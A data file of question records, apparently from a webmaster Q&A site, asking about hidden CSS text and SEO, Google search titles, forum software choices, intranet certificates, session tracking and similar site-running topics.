{"id":"30218","title":"Retrieving website","text":"> **Possible Duplicate:** > How to recover a website from google cache? Does anyone know of reliable websites (Warrick is currently closed for new requests) or programs (Mac-compatible) where I can retrieve a website that was deleted? I wasn't informed by my blog's host that my website was deleted because hosting services was terminated by the company. Since I have 2 years worth of posts at the website, I was wondering if it would be possible to retrieve them. I was using Wordpress.org for my website."}
{"id":"26629","title":"Use - or misuse - of ETags","text":"I'm using an application that sets ETags by md5()ing the URL. As I understand it, that's quite insane. In effect, it means that content for a specific URL won't be fetched anew ... ever. Unless a hard-refresh is sent or, maybe, the browser is restarted (yet to test the latter). Is this abuse of the ETag header?"}
{"id":"2035","title":"CA For A Large Intranet","text":"I'm managing what has become a very large intranet (over 100 different hosts \/ services) and will be stepping down from my role in the near future. I want to make things easy for the next ~~victim~~ person who takes my place. All hosts are secured via SSL. This includes various portals, wikis, data entry systems, HR systems and other sensitive things. We're using self signed certificates which worked o.k. in the past, but are now problematic because: * Browsers make it harder for users to understand exactly what is going on when a self signed certificate is encountered, much less accept them. * Putting up a new host means 100 phone calls asking what \"Add an exception\" means What we were doing is just importing the self signed certs when we set up a new workstation. This was fine when we only had a dozen to deal with, but now its just overwhelming. Our I.T. Department has classified this as `ya all's problem`, all we get from them is support for switch and router configurations. Beyond the user having connectivity, everything else is up to the intranet administrators. We have a mix of Ubuntu and Windows workstations. We'd like to set up our own self signed CA root, which can sign certificates for each host that we deploy on the intranet. Client browsers would of course be told to trust our CA. My question is, would this be dangerous and would we be better off going with intermediate certificates from someone like Verisign? Either way, I still have to import the root for the intermediate CA, so I really don't see what the difference is? Other than charging us money, what would Verisign be doing that we could not, beyond protecting the root CA cert so it can't be used to make forgeries?"}
{"id":"1377","title":"How bad is it to use display: none in CSS?","text":"I've heard many times that it's bad to use `display: none` for SEO reasons, as it could be an attempt to push in irrelevant popular keywords. A few questions: 1. Is that still received wisdom? 2. Does it make a difference if you're only hiding a single word, or perhaps a single character? 3. If you should avoid any use of it, what are the preferred techniques for hiding (in situations where you need it to become visible again on certain conditions)? Some references I've found so far: Matt Cutts from 2005 in a comment > If you're straight-out using CSS to hide text, don't be surprised if that is > called spam. I'm not saying that mouseovers or DHTML text or have-a-logo- > but-also-have-text is spam; I answered that last one at a conference when I > said \"imagine how it would look to a visitor, a competitor, or someone > checking out a spam report. If you show your company's name and it's Expo > Markers instead of an Expo Markers logo, you should be fine. If the text you > decide to show is 'Expo Markers cheap online discount buy online Expo > Markers sale ...' then I would be more cautious, because that can look bad.\" And in another comment on the same article > We can flag text that appears to be hidden using CSS at Google. **To date** > we have not algorithmically removed sites for doing that. We try hard to > avoid throwing babies out with bathwater. (My emphasis) Eric Enge said in 2008 > The legitimate use of this technique is so prevalent that I would rarely > expect search engines to penalize a site for using the `display: none` > attribute. It’s just very difficult to implement an algorithm that could > truly ferret out whether the particular use of `display: none` is meant to > deceive the search engines or not."}
{"id":"65065","title":"Does Visibility:Hiden and Display:None Affect SEO","text":"If I had some text that initially had the CSS property visiblity:hidden or display:none Would that effect how much the content is weighted by search engines? Could using one of those properties on key content on my website have an adverse effect on SEO?"}
{"id":"43926","title":"Will Google Crawl Display:None Dropdown?","text":"I have a navigation set up like so: <nav> <ul> <li>Home<\/li> <li data-dropdown=\"page_1\">Page_1<\/li> <li data-dropdown=\"page_2\">Page_2<\/li> <\/ul> <\/nav> <div class=\"dropdown\"> <ul id=\"page_1\"> <li>Dropdown Link<\/li> <\/ul> <ul id=\"page_2\"> <li>Dropdown Link<\/li> <\/ul> <\/div> All the dropdowns are initially hidden and then they are shown based on `data- dropdown` when hovering on the navigation. It works perfect, but I'm really concerned about whether google will crawl the links if it's hidden on page load. What's the best way to approuch this?"}
{"id":"64649","title":"Will I get penalised by google for overflow hidden?","text":"I have 2 divs next to each other, div A and div B. Div A displays a whole wordpress post and div B displays about 15 excerpts of posts with the same tag. To get this looking nice I set the hight of div B to be the same as the hight of div A with javaScript. This means alot of post excerpts will be hidden due to overflow hidden on div B. Will Google penalise me for this, and if so, how can I make this work and still please Google? Ps. I would gladly prevent the excerpts from being indexed but the main post must be indexed Ds."}
{"id":"17666","title":"using Accordion, Jquery ,will it affect SEO?","text":"> **Possible Duplicate:** > How bad is it to use display: none in CSS? I am planning to use Accrodion and Jquery in My website. previously to animate the contents in the website i used Flash but content (text ) in the flash are not indexable in the search engine and since major contents of my site comes with in animated Tab using Accordion and J query and most of the text are hidden in DIV so i want to know whether this will effect the SEO. Because most of the contents are hidden initially by default and by definition of Black hat Seo,this sounds similar to black hat SEO ... will google treat my site same as Black hat SEO or Is using Accordion in website is acceptable in SEO ?"}
{"id":"45356","title":"Preloading web fonts with visibility: hidden; bad for SEO?","text":"I've started using a method to preload the webfonts via hiding them; whilst it works great, I'm not sure if \"hiding text\" will be viewed as bad for SEO? All I do is something like this: CSS; .preload { position: absolute; visibility: hidden; font-family: Roboto, Arial; font-weight: 300; } HTML: <div class=\"preload\"> Preload Light Font <\/div> Thoughts!?"}
{"id":"53616","title":"Bootstrap hidden text and page rank","text":"I am using Twitter bootstap to show different text when on mobile mode, tablet mode and desktop mode. I was worried that since the (some) text is hidden on certain modes, would it effect my website page rank."}
{"id":"13408","title":"DIsplay none and SEO","text":"> **Possible Duplicate:** > How bad is it to use display: none in CSS? So i have a nav with tons of stuff and we want to scale back a few of the a tags in the nav but still have them on the page. So for example I was thinking of using jQuery or css display none to hide the text...but we still want the text on the page for the google crawler. Does this technique hurt our current SEO rankings or is it frowned on by google. Here is my site and the nav is on the left....If this will hurt the SEO status is there anything else we can do to keep the text on the page without effecting SEO"}
{"id":"33577","title":"Official Google 10 minutes SEO video and page related terms","text":"> **Possible Duplicate:** > How bad is it to use display: none in CSS? According to this link, one should add some terms related to the page content. I am adding the text like: `<div style=\"display:none\">term1 term2 term3 term4 term5<\/div>` **My questions:** Does it affect the SEO for my website if I am not displaying the terms on page? (I am using `display:none`). In other words, the page related terms are in source code but not being displayed."}
{"id":"68241","title":"Make Offscreen Sliding Content Without Hurting SEO","text":"On my website I have content which is positioned off the screen, and then slides in when you click a button. For example, when you click the news button, content slides in with news. It didn't occur to me that this might be labeled as a black hat SEO technique, because I have content positioned off the screen with CSS that links elsewhere on my site, and a search engine could very easily interpret that as me hiding content for SEO purposes by positioning it off screen. Obviously, my intention was not to hide content, but was to make a sort of UI\/UX content slider where content slides into view when a button is clicked. How can I make something to this effect (where content slides in and out), that would not comprise SEO?"}
{"id":"49139","title":"One Page Website, with jump links, but hide, display:none all other content except jump link clicked","text":"I'm wondering how this website design\/structure will work for SEO. I have example.com that I'm building. The only actual URL for the website is example.com. However, it will appear to the user that their is 8 different pages. For example. There will be example.com, example.com\/#about, example.com\/#contact, example.com\/#services, etc. I'm using jquery to hide all the other 7 \"pages\" and only show the link that is clicked. So if a user goes to example.com, it will hide all the 7 other \"pages\" and only show the example.com. If the user then clicks on the link example.com\/#about, it will hide example.com content, and keep all the other pages content hidden, but then only show example.com\/#about content. So everything on the website stays the same, the only thing that changes is the \"content\" div when they click on a menu link. I notice that this is VERY good for user experience in that it loads the whole website code when they first come to the website, so when they click between \"pages\" it is instant. I'm interested in getting answers to why this is a bad idea for like SEO? or any other reasons? Anyone else ever use this kind of setup? Thanks."}
{"id":"68245","title":"Does CSS Positioning Affect SEO","text":"If I positioned the very first content that appears in my code below the fold, would that content be given less weight and therefore be less effective with SEO? In addition, if I had a large image that took up most of the top of the screen and resulting in my content being below the fold or toward the bottom of the screen, would that content be given less weight? **Note** This is content that occurs early on in my code. I'm not talking about having a ton of content and if the content that occurs later would be given less weight, but if content that occurs early on put ends up below the fold would be given less weight."}
{"id":"18385","title":"Can search engines see HTML elements hidden by CSS?","text":"> **Possible Duplicate:** > How bad is it to use display: none in CSS? I was wondering if search engines can read `<a>` elements with `display:none`. Is it true? Can search engines see elements hidden by CSS rules?"}
{"id":"56920","title":"Showing other name than website name after searching on google","text":"When I search the same URL on Google, its showing, 'Total Visits' as a header. It not showing my website name. Please check the image. What should I do ? "}
{"id":"53960","title":"Why is my website's title not showing in search results?","text":"When I search for my website, the title of my website appears as \"New York web design\".  But my website's actual title is different: \"Web Development New York | New York web design | SEO New York\" How can I rectify this issue?"}
{"id":"57280","title":"Google search mismatch title","text":"The title of my website is \"OTN | Ontario Telemedicine Network\" but Goggling for \"OTN\" displays it as \"Ontario Telemedicine Network: OTN\" in the search results, other search engines display it properly. How can I direct google to display the title as it is? PS. the title was updated many months ago and I have checked Google webmaster tools for this option but couldn't find anything."}
{"id":"56524","title":"Google Adds Unwanted Name to Site Title!","text":"I've set a different \"Site title\" that its not in site Domain, for example: Site domain: \"setcars.com\" Site title: \"Hello world - new cars!\" Internal links name to index page (by menus, footer, etc): \"SetCars\" \"SetCars\" is not used as TITLE tag anywhere, but google adds it to titles on SERPS: \"Hello world - new cars! - SetCars\" WHY? and how to remove it?"}
{"id":"53065","title":"Google shows wrong title","text":"Few weeks ago I redirected my site using 301 redirect. I went to G Webmaster and set it up. I was using fetch as google, but it still shows wrong title. I really don't know why. Everything is fine on my website. Last cache was 2 days ago. My previous site had similar title to current one. But google indexed my new website few times already and still shows old title"}
{"id":"35931","title":"how google ads refer to dynamic content?","text":"I have mobile app \/ site and I want to use google ads with method PPM (pay per impression) I am changing the page content programmatically with java script . so if the user navigate to new page I actually just change the content in the same page. 1.Is there any problem with this by google? 2. do i get paid for this content change like if page really navigate? Thanks."}
{"id":"16723","title":"Is it feasible to run a public-facing website from my home network?","text":"I have to a get a very simple data entry website up and running. This website will be accessed by only a few people at a time (at most), but usually only one person, and not very frequently - maybe a coupel hours at a time, not every day. I really don't want to pay for hosting if I don't have to. I have AT&T U-Verse Internet Service. How feasible is it for me to setup a simple Windows\/IIS website on my home network that can be accessed publicly? What's the minimum Internet speed I would need? How can make sure that the IP Address for the public website is static, so I can setup my DNS and forget about it? Any additional thoughts or suggestions on this type of setup would be greatly appreciated. If this is not feasible, or easy, I will likely just go with a hosting service, and I already have one picked out, so I don't need any suggestions for this."}
{"id":"35935","title":"How to specify importance of html elements?","text":"Is it possible to specify what elements of the page are important, or, more specifically, what elements of the page **are not important**? I'm using HTML5 new elements (nav, header, footer, section, article, aside...), but there is sometimes my login form (in the header of my page though) in the Google description of my website pages... Is there a solution to resolve this problem?"}
{"id":"28386","title":"Is it better in terms of SEO if I develop my Website meant for marketing my service on a regular .com domain compared to a wordpress site?","text":"Basically I am asking is whether Google et al are going to _treat_ my webpages developed through wordpress in the same way as they would treat other websites with a *.com? Also, as far as SEO goes do I have to jump through some additional hoops if I am working with a wordpress site ? Would I have any advantages instead ?"}
{"id":"3131","title":"Is it better to have an ErrorDocument 404 redirect back to the homepage or a standard 404 error page?","text":"We run an ecommerce site that was setup by a third party ecommerce software provider, basic shop with product pages, basket and checkout. The third party vendor set up the htaccess file so that if a non-existent URL is enetered it redirects to the homepage instead of a 404 error being generated. This results in google webmaster reporting duplicate titles and descriptions for pages that no longer exist. I think that it would be better for a dedicated 404 error page to be displayed rather than redirecting back to the homepage So is it better to have a website redirect a 404 to the homepage than have a dedicated 404 page instead?"}
{"id":"50414","title":"What to use for rapid PageSpeed analysis — Google Insights or Chrome extension?","text":"Which score is most reliable (and complete) to use when comparing different sites and pages to get a quick idea (e.g. between competitor websites without detailed analysis)? I am asking because for the same page on the same site, the score is over 30 marks higher via Google Insights online, which leads me to believe that the official Chrome extension is more accurate (e.g. worse score). Some of this has been addressed in detail before, but for the purposes of doing quick analysis — what accounts for the different PageSpeed scores?"}
{"id":"27370","title":"Does including Google Analytics on a page makes you run the risk of failing a PCI audit?","text":"My webshop is currently in the process of becoming PCI compliant. For business intelligence reasons we would like to include Google analytics code (or a code from a similar package) on the checkout page of our payment funnel. As this involves including 3rd party JavaScript code on a page which handles customers credit card details I am wondering if this type of integration runs the risk of not passing a PCI audit."}
{"id":"65083","title":"Google Adwords - how to specify AND and OR in Keyword","text":"There are many ways to define keywords for a campaign. However is there a way to make ORs? While searching in google it would like '\"keyword (ketwordOr1|keywordOr2)\"'. That would return results such as \"keyword keywordOr1\" OR \"keyword keywordOr2\" but not keyword alone."}
{"id":"13602","title":"Can we trademark the name of our group of which the founder and president is no longer associated?","text":"I am looking for advice. We have a social group. Our president chose to leave our group, (do not wish to name the name). This president founded the group and choose the name. The group pays dues and has annual parties of which the proceeds go back to the group for other functions. The president stole the money. When we confronted the president, they quit the group. I have checked and the name is not trademarked. We want to trademark the name to prevent the former president from having a claim to the money under the group name. Can we do this legally?"}
{"id":"55331","title":"Tell Google the list of URLs to crawl","text":"Consider the case of Quora, which is really SEO-friendly. The problem is that there are **no** links to questions from Quora homepage. Essentially nothing (even via an indirect URL). So I could never find any link to Quora questions from its homepage; I could only do so via Google (or other search engines), or have a Quora account. So my question is how to tell Google the list of pages to crawl without listing them all in the homepage (or via an indirect links)?"}
{"id":"55330","title":"Will SEO work on semi-one-page website?","text":"I am setting up a cafe. I read a lot about SEO not working well with one page websites. As such I am thinking of creating an in between with the content structure listed below. Will this be effective for SEO? * Home Page (one page) - keywords : Cat Café Singapore, Singapore Cat Café, Cat Café, * About Us (one page) * Meet the Cats (one page) * Price(one page) * Contact Us (one page) * Menu (stand alone) – keywords : Coffee Singapore, Tea Singapore, Café Singapore * Research (stand alone) , keywords : Cats Singapore, Cats * Blog (stand alone) – keywords : Cat Café Singapore, Singapore Cat Café, Cat Café, * Shop (Stand alone ) – keywords : Cat Toys, Cat Food * Adopt a cat (stand alone) – keywords : Cat Adpotion, Singapore Cats,"}
{"id":"2746","title":"Variable IPs: How variable are they? Best practices for tracking","text":"There are a lot of questions on StackOverflow relating to session security \/ session hijacking, but there doesn't seem to be a really good solution to the problem. The three most common suggestions are as follows: 1. Track the users IP address as part of their $_SESSION data, and possibly invalidate a session if it changes. The downside is that lots of users have dynamic IP addresses, so you risk invalidating a user seemingly at random (their perspective). 2. Same as 1., but using a User Agent. Two issues here: there may not be a UA to track, and they can change during browser upgrades, etc. 3. Second cookie, with a unique token. The problem here is that if an attacker gets a hold on the normal session cookie, they're very likely to be able to get a hold on your secondary token as well. So, with these three options it seems that IP address is the best option, since you're guaranteed to be passed one and its independent of physical security (and if the user is physically compromised, you lose regardless). With that in mind, I have a couple questions relating to IP address changes: 1. How often would a users IP address really change under normal conditions. I have DSL at home, with the usual dynamic IP concerns, and according to gmail my IP hasn't changed in days. AFAIK, this only really happens when the modem cycles anyway, right? That seems like a rare enough event that it _might_ be ok to invalidate the session. 2. I think I remember Jeff saying in one of the SO podcasts that they did something similar, though it was possibly for something else. The idea was that using the first two (I believe) octets of an IP address could be considered \"close enough\" in some circumstances. This allows a user to move around on the same ISP, but the system would notice if the user was suddenly in another ISPs range. Is this a viable tactic?"}
{"id":"63493","title":"Google not recognizing microdata?","text":"I put in microdata to one page of a site I help manage using schema.org. Using the Google webmaster tool test, the page checks out and displays what it sees as the microdata properly. But when I go to the Structured Data page in webmaster tools, it keeps saying the site does not have any. I put it in 2 weeks ago. Us it just something that take a while for it to recognize? Or does microdata have to be on every page for it to be recognized or something?"}
{"id":"25771","title":"What forum software should I use?","text":"_This is a general, community wikicatch-all question to address \"I need a forum script that does x, y, and z...\" questions._ _If your question was closed as a duplicate of this question and you feel that the information provided here does not provide a sufficient answer, please open a discussion on thePro Webmasters Meta._ * * * I have a list of features that I want for my website's forum script: where can I find a (free or paid) script that includes all of them?"}
{"id":"26804","title":"Forums\/CMS\/BBS that actually has a bulletin board look","text":"> **Possible Duplicate:** > What Forum Software should I use? Hi I'm wanting to build a bulletin board system for my community which can create a view that actually looks like a \"real-world\" bulletin board or cork- board. So in addition to the traditional forum view which has a hierarchy of topics in a full-width screen, a page custom to the user could be presented where selected posts could be laid out. The posts might look like sticky notes or boxes, laid out around the page potentially with images and text, rather than being full-screen width text entries. I'd also like the system to be able to mail a version or screenshot of the custom user page to the user on a weekly basis. Does anybody know of any, highly preferably open-source, solutions that come with a feature like this?"}
{"id":"9612","title":"Good message board for a website (e.g. phpBB)","text":"> **Possible Duplicate:** > What Forum Software should I use? What are the best (and most widely used) Linux-based **message board** softwares, and the **_pros_** and **_cons_** of each. e.g. Security Vulnerabilities, Performance on a cheap server, comes pre-packaged [RPM or DEB]. I am looking for _the best_ message board software for my website. A VPS can run almost any software, so the sky is the limit! 1. _Free, doesn't require unreasonable number of hyperlinks to their website_ 2. Security focused \/ Widely Used, vulnerabilities are found and fixed quick 3. Easy to keep up-to-date, i.e. prepackaged \/ auto-update in some way 4. Moderator features [like pinning \/ message preamble], account management 5. Themeable, customize appearance a bit * * * The contenders appear to be * **phpBB** - Undeniably popular, modular. * **MyBB** - Used to be commercial, great features. LGPL"}
{"id":"2097","title":"Online forum software or services","text":"> **Possible Duplicate:** > What Forum Software should I use? What forum software is out there? I've used PhpBB in the past, but that was a long time ago and I'm guessing there might be better stuff out there. My requirements are: * registration required to post (name, email, password) * public viewing * some ability to customize * needs to look reasonably good (it's not for geeks) * hosted or self hosted * if self hosted it needs to be PHP & MySQL * free or paid (I can't add tags, but I wanted to tag this \"forums\".)"}
{"id":"4891","title":"What's the best free forum software out there right now?","text":"> **Possible Duplicate:** > What Forum Software should I use? Either php\/mysql or aspx\/sql I checked out a similar thread but there weren't any real answers... Thanks"}
{"id":"14425","title":"Bulletin Board System with tagging, email notification","text":"I am looking for nice BBS system, Bulletin Board System, Discussion Board, or nice in-company communication platform. There are lots of people, about 30 people, joining in our project. We would like to share idea among us on that platform. We can post questions and concerns related with the project, and we would like to respond each other. Here is my list of functionality I want: * Tagging Thread e.g) Announcement, Finance, Legal, Idea. One thread can have multiple Tags. * members can set on\/off to receive email when new comments are posted. They can set on\/off on each Tag. e.g) one member on to receive email related with \"Announcement\", but off to receive \"Finance\". * Thread owner can change threads' tag any time. * Thread can have several type of post. * Thread can be \"vote\" thread. Everyone can vote their opinion. * Thread can be \"action plan\" thread. In this thread, \"who\" will \"what\" remains in the thread. By viewing all \"action plan\" thread, all action plans needed in the company is visualized."}
{"id":"5321","title":"Looking for a simple forum script","text":"> **Possible Duplicate:** > What Forum Software should I use? I have a working website and I need to integrate a forum into it. The problem is, I need the forum script to use usernames and passwords from a mysql table that is already created. This is why I need a forum that supports translations and has a simple code I can adjust to my databse. Any ideas on such forum scripts?"}
{"id":"6983","title":"Suggestions of internet forum software","text":"> **Possible Duplicate:** > What Forum Software should I use? I'm going to be setting up a few internet forums to test out the software. I was going to be doing this with vBulletin, but they don't let you download a trial version. Could anyone make any suggestions of any good forum packages and their advantages and disadvantages? (And maybe forum software in general pros and cons.) The forums will be hosted on a Ubuntu Linux virtual machine using Apache. **EDIT:** I should also point out that one with better security would be desirable - although if I'm honest my expectations on that front are low :P"}
{"id":"53610","title":"Forum software with good threaded-view support?","text":"I'm looking for good forum software that allow a threaded view (similar to reddit or Disqus), at least up to two or three \"levels\" of replies. The phpBB people seem to be vehemently against threading at all, I believe MyBB supports only _one_ level or replies, is there any other good forum that supports threading? Phorum is mentioned as having support for threaded views, but there were vague hints in some discussion I came across that you had to go through the replies one by one like in the ancient days rather than having a single expanded look. Is this true of Phorum? Other candidates I came across were FUDForum, mwForum and Drupal's forum, your views on these and other possible options would be greatly appreciated."}
{"id":"8650","title":"What is a CMS with good user forums support?","text":"> **Possible Duplicate:** > What Forum Software should I use? If I'm starting from scratch with any CMS I want, which one has good support (or a plugin) for discussion forums?"}
{"id":"24036","title":"Which forum applications can integrate with Facebook?","text":"> **Possible Duplicate:** > What Forum Software should I use? What is the best\/most compatible forum software which features almost complete integration with Facebook? The main feature I ask is the Facebook Connect feature (user could use Facebook account to register). **But** it would be more perfect if other Facebook features could be integrated to. Something like, subscribe thread which appears to Facebook notifications, easy sharing to Facebook, etc. I have vBulletin, Invision Power Board, and SMF in my mind, but I'm open to more suggestions.."}
{"id":"1965","title":"Bulletin board software with voting capability for each post","text":"> **Possible Duplicate:** > What Forum Software should I use? I run my system on a linux machine. Let's say I use apache or cherokee webserver, for simplicity. I want to run a bulletin board software for discussion purposes. However I do not want traditional systems like vBulletin or vanilla, as systems based on these tend towards too much bickering and clique-formation. I was inspired by the system in meta.stackoverflow in which each post can be voted up or down. This would instantly be a medicine for all the jerks, since their posts will get downvoted quickly. Moreover honest criticisms will get upvoted. So I feel this will be a great improvement. However the meta.stackoverflow system is not suitable for a discussion environment. I would want a traditional bulletin board system itself; but with the added capability that votes can be given up\/down for each post, and for each post the number of votes is displayed. For example let me mention that in some wordpress blogs, comments can be voted up\/down. That capability is exactly what I want; it is just that I need it in a bulletin board software rather than in a wordpress blog. Question: > Does there exist a bulletin board software with voting capability for each > post? Here I must stress that I do not care about the total reputation of a user. That is something I do not want to encourage. I have asked this question both here and at serverfault, since it was not clear where should this be asked. Feel free to close it at the appropriate site and I need answers only from one place."}
{"id":"25160","title":"Best lightweight PHP\/MySQL forum with spam-protection","text":"> **Possible Duplicate:** > What Forum Software should I use? I have already searched and checked out posts like this and this but it isn't what I'm looking for. I'm looking for a lightweight PHP\/MySQL forum with decent (good) anti spam functionalities. I have been using punBB which is light and fast but doesn't stop billions of spammers to post boring links, I have tested PHPBB which I found really heavy (and it doesn't stop spammers either). I'd like the possibility to receive a mail to 'accept' new inscriptions, auto- shut down inscriptions that have never posted (after some time) and so on and a captcha at inscription time (if it is easily modifyable that would be a plus), (public) blacklists and\/or adaptive filters to stop spam would be nice too. Does this exist in any free\/cheap forum?"}
{"id":"9997","title":"Group \"Discussion\" software?","text":"> **Possible Duplicate:** > What Forum Software should I use? My client wants a \"lite\" forum... not unlike these stack exchange sites, but even a little lighter. There's a screenshot of the discussion group she likes most, below. You can also go here to see it for yourself it you like. I don't think traditional forum apps will display, functionally, in this manner. **Is there any software I can use to get a similar result? A web service would be acceptable as well.** "}
{"id":"8973","title":"Free forum engine with good anti-attack mechanisms","text":"> **Possible Duplicate:** > What Forum Software should I use? I am looking for forum engine (for discussions) with good attack countermeasures built in. Windows (preferrably) or Linux. Free (as beer). I think about registration flooding and blocking user accounts attacks. For registration, such engine should have at least: * captcha * blocking mulitple registrations from the same IP * providing login (for logging in) and user name (for displaying the author of the posts) For logging in: * no blocking on multiple tries -- instead after X try sending via mail a token, the third piece needed for next login -- without it logging in will be impossible (it would be similar to activation process) The engine should be designed with two ideas in mind: * protecting engine against attacks * 0 penalty for decent users Thank you in advance for your help and recommendations."}
{"id":"10863","title":"Forum that integrates into CMS and has curated category pages with tagged threads","text":"> **Possible Duplicate:** > What Forum Software should I use? I'm looking for a forum that meets these requirements: * Login using Facebook\/Twitter\/OpenID etc. * User profiles with reward system * Voting\/thumbs up function * Categories and tags for sorting threads * Custom category pages with moderated static header * Embeddable threads and categories (For example, a whole category or single thread can be integrated into wordpress) * API to users, discussions etc. I've looked at forums like Vanilla, Disqus, OSQA etc, but none seem to match the above \"hybrid criteria\". Hosted or self-hosted doesn't matter but I'm really looking for something that can be integrated into an existing CMS to replace comments while at the same time have curated category pages and user profiles. Thanks."}
{"id":"6059","title":"Forum software advice needed","text":"> **Possible Duplicate:** > What Forum Software should I use? we want to migrate our sites current forum (proprietary built) to a newer, more modern (feature rich) platform. I've been looking around at the available options and have narrowed it down to vBulletin, Vanilla or Phorum (unless you have another suggestion ?). I hope someone here can give me some feedback on their experiences either migrating to a new forum or working deeply with one. The current forum we have has approx 2.2 million threads in it and is contained in a MySQL database. Data Migration is obviously the first issue, is one of the major Forum vendors better or worse in this regard ? The software needs to be able to be clustered and cached to ensure availability and performance. We want it to be PHP based and store it's data in MySQL. The code needs to be open to allow us to highly customise the software both to strip out a lot of stuff and be able to integrate our sites features. A lot of the forums I've looked at have a lot of duplicate features to our main site, in particular member management, profiles etc. I realise we'll have to do a good bit of development in removing these and tieing it all back to the main site so we want to find a platform that makes this kind of integration as easy as possible. Finally I guess if 'future proofing' the forum (as best as possible) given the above. Which platform will allow us to customise it but also allow us to keep instep with upgrades. Which forum software has the best track record for bringing online new features in a timely manner ? etc. etc. I know it's a big question but if anyone here has any experience in some or all of the above I'd be very grateful."}
{"id":"23004","title":"Which forum software has a \"like\/don't like button\" in the post (and other features)?","text":"> **Possible Duplicate:** > What Forum Software should I use? I want to build a new blog (on Wordpress) and I want to insert a forum in the website. I don't want to use PhpBB for the forum section (too complex to configure and manage) and I'm searching a simple solution. The feature I absolutly need: * like\/don't like button in every post * polls * attachment and image upload * tag system for the post Other appreciate features: * import post from another PhpBB forum * FB connect (for the user login) * integration with wordpress * reserved section (for only a group of user) At the moment I have found these solutions: * bbpress: all feature above but it doesn't have the \"like\/don't like\" button * OSQA: I don't know if have the pools and attachment function Anyone can help me and suggest other solution?"}
{"id":"14570","title":"Alternative to vBulletin","text":"> **Possible Duplicate:** > What Forum Software should I use? I'm currently using vBulletin along with a bunch of plugins like vBSEO, shoutbox and others for a sports discussion site. I just don't have the time to keep up with the upgrading of the vBulletin software (and then all the plugins). And I'm not crazy about vBulletin in general. Last I checked there was no good single sign on mechanism to integrate it with other systems and the social aspects of the site, of which discussions are really all about, seem lacking. Are there good alternatives which are easier to manage (ideally hosted systems), easier to integrate and more social? I'm more than happy to pay, but this community is only about 4,000 strong... so anything above a couple hundred $$ per month will have to be pretty spectacular."}
{"id":"11467","title":"Whats the best CMS for Sports Club?","text":"> **Possible Duplicate:** > What Forum Software should I use? I have to renew a website for a sport club. There is some self programmed CMS in use at this time. But I need a new solution. A popular CMS that could be up to date over the next 3 or 4 years. I took a look at Drupal 7. Not sure about whether it's easy possible to create member profiles (they should be able to edit them self), a board and team overviews. Would be cool you'll share the link of a tutorial for this needs if you have one. _Or..._ **Any suggestions for a good CMS with my needs?**"}
{"id":"9082","title":"Which forum software has the most advanced community\/GetSatisfaction type features?","text":"> **Possible Duplicate:** > What Forum Software should I use? I need to assemble a **GetSatisfaction\/Lithium\/Jive type support forum\/community**. The first is not available in the desired language and the last two are priced for the enterprise market. I did research some other options (open source or SaaS) but they all seem to be either: * kind of dead (open source options) * too focused in gathering ideas\/feedback (uservoice) * strictly support without the community\/voting features (zendesk) **I need an open forum (people powered support\/UGC with community\/voting features) & Facebook\/Google\/Yahoo\/MSN account sign-in.** Therefore I will have to do some of the work on my own. I want to **piece things (plugins\/mods\/etc) on top of a standard forum platform to give it the features I need**. For this purpose, I want to use a **mature** product with widespread userbase, active community and lots of plugin options. I believe most will agree that my options therefore are: * vBulletin * phpBB * SMF Here are the questions: 1. **Which one of the three above offers the easier path towards the desired goal**? 2. **Which one of the three above has the most advanced features related to the desired goal?** Of course I dont expect anyone to **know** these answers _cut and dry_. I am hoping to hear some experiences and see some examples. Also, it would be great if both those questions had the same answer, but I am not going to get my hopes up... PS: I wish I could add the tags \"phpbb\" and \"smf\" ;)"}
{"id":"28104","title":"Which free PHP based forum is the easiest to extend or customize?","text":"> **Possible Duplicate:** > What Forum Software should I use? I am looking to start a new forum, with a traditional forum layout (like webhostingtalk, for example). In this space, I know phpBB and SMF are strong contenders. I do not know for sure the names of other great forum software that might exist... My most important need is that it should be easy to modify the display area, at the least, without having to dig too much into the core. Drupal excels in this area with its templating system, but the forum module doesn't look like the forum interface most people are used to... It would be a great plus if the software has alternative Captchas like question based or invisible Captcha. If it doesn't, I would like to be able to code it in without much trouble (that is, the software exposes a good API)"}
{"id":"21132","title":"PHP-based forum software for maximizing SEO?","text":"> **Possible Duplicate:** > What Forum Software should I use? I ask because I am skeptical of phpBB. I know that vBulletin frequently comes up in web searches."}
{"id":"56571","title":"What integrated blog comments\/forums solutions exist beyond Vanilla Forums?","text":"For the past year and a half, I've been running Vanilla Forums on my WordPress-based site My favourite feature of Vanilla is that it integrates comments from the blog's front page into the forums, giving users the continuity of a single sign-on. The downsides are that Vanilla loads slowly, performs rather poorly on iPads (a source of irony given my site's subject matter), randomly logs users out with some frequency, and generally annoys the forum regulars. I would like to replace Vanilla with different forums software. Ideally, this new solution would: * Integrate with blog comments and * Import our 1.5 years' worth of data from Vanilla. Is there anything out there that would fit my needs?"}
{"id":"7668","title":"Forum software alternative to phpBB3","text":"> **Possible Duplicate:** > What Forum Software should I use? I've been using phpBB3 for quite some time now. It seems to me this forum software hasn't evolved at all in all these years. Installing mods is a hassle, updating it to a newer version a real pain in the arse and moderating is not intuitive at all. Besides, I find there's just no way to stop spam on it. Lots of web software have made a great job controlling spam, but phpBB3 still doesn't, at least not without too much complex and tedious work. Since my last attempt to update to the latest version broke it, I'm finally fed up with it, and decide I'm not wasting a minute more in mantaining such a beast. I'm looking for a free software (free as in free beer and free as in free speech) alternative. So SMF is not an alternative at the moment. The most important feature I'm looking for is there must be a script to migrate all of the current phpBB users and posts into the new system. Out of all the alternatives out there, does any of them support these features? Which one do you recommend?"}
{"id":"68979","title":"Wrong sign-up tracking when people use Facebook connect","text":"I have an issue tracking sign-ups for people signing-up using Facebook, Google and Twitter connect. For example, each time a user signs-up using Facebook connect, the referral to this sign-up will be Facebook and not the real source of traffic. We can see that via the referral path \/dialogu\/oauth that is specific to Facebook connect. In addition, the landing page is directly the signup thank you page, like if the user would arrive directly from FB connect and sign-up. (see screenshot below)  We were thinking about excluding the referral path of the social media connect (like dialogu\/oauth for Facebook) but I wanted to have a confirmation that it will solve the issue and not create a new one."}
{"id":"42886","title":"How to let Google know that content on the page has just changed?","text":"I'd never thought of such a problem in the whole SEO spectrum before I considered launching my own website. Imagine that I have a website which is updated once per month and Google spider knows about that. So what happens if I've updated one of my pages with new content just after it was crawled? Do I need to wait for a month before Google spider will come back? And is it possible that someone can find my website by queries which are not already relevant to it? Has anybody encountered such problem or has a solution?"}
{"id":"53994","title":"How to find out when a \"example.NAME\" domain was registered on?","text":"I am attempting to obtain the registry records of a `.name` domain - I have tried using who.is to obtain details of whom has registered this practical domain and when was it created and when will it expire however when using this whois checker I do not get any results. How can you get the whois information from `.name` domains."}
